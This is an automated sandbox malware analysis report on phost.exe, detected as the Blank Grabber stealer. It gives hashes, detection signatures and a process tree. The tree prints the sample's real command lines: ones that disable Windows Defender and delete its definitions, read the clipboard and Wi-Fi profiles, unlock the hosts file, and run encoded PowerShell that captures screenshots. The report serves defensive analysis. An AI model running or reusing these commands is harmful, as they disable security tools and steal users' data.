Edit tour

Windows Analysis Report
phost.exe

Overview

General Information

Sample name:	phost.exe
Analysis ID:	1574326
MD5:	8c43bf4445cac5fa025b9dfd07517b6f
SHA1:	b7e9e405e3867213cd3e544574ceff70bef2b6fb
SHA256:	dcf517b48094726367f1fdb2ace3f2cfd29f4f9710512f45ecb0109d03cc0dcc
Tags:	exegithub-com--hombozuser-JAMESWT_MHT
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

phost.exe (PID: 3220 cmdline: "C:\Users\user\Desktop\phost.exe" MD5: 8C43BF4445CAC5FA025B9DFD07517B6F)

phost.exe (PID: 3444 cmdline: "C:\Users\user\Desktop\phost.exe" MD5: 8C43BF4445CAC5FA025B9DFD07517B6F)

cmd.exe (PID: 1136 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3140 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5544 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2912 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 7764 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 2200 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 3848 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 2872 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7180 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7208 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7324 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7528 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7580 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2 MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7628 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7712 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2 MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7736 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7808 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7936 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7988 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8020 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8068 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7208 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7628 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7192 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7540 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 2000 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7664 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7544 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5780 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4248 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7816 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7188 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7936 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7748 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 4180 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 2084 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7948 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8120 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 4076 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8108 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 3492 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 3748 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7400 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7120 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7752 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBE0B.tmp" "c:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 8064 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

